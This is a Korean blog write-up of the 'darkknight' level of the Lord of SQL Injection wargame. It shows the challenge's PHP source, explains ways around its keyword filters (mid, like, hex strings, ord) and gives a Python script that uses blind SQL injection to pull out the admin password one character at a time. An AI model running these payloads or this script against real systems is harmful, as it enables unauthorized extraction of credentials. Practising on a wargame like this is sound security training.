DARKKNIGHT
문제 소스:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
|
cs |
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
pw 검증 -> blind sql injection
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
substr => mid
= => like 로 우회
pw 글자 수 구하기
' 따옴표 필터링으로 인해 'admin'을 hex값으로 넣어서 string으로 인식하도록 함.
no = 1 or id like 0x61646d696e and length(pw) like 8
pw길이는 8. 이제 pw을 구하면 된다.
이전에는 mid(pw,1,1) like '0' 으로 하면 되었지만
' 따옴표을 필터링 하기 때문에 아스키 값으로 바꿔서 비교를 해야 한다.
ord(mid(pw,1,1)) like 48
풀이 코드 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import urllib
import urllib2
import sys
import time
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
for i in range(8):
for j in range(len(string)):
#payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
#payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
payload = urllib.quote(payload)
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=s9nkrte43d9mdtk5e0r6b54mfa')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
if "Hello admin" in data:
key += string[j]
print "[*] Find Password!! Password is ["+key+"]"
break
else:
print "[-] Fail!"
time.sleep(0.1)
|
cs |
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [GIANT] 풀이 (0) | 2019.11.05 |
---|---|
LORD OF SQL INJECTION [bugbear] 풀이 (0) | 2019.11.04 |
LORD OF SQL INJECTION [golem] 풀이 (0) | 2019.11.01 |
LORD OF SQL INJECTION [SKELETON] 풀이 (0) | 2019.10.31 |
LORD OF SQL INJECTION [VAMPIRE] 풀이 (0) | 2019.10.30 |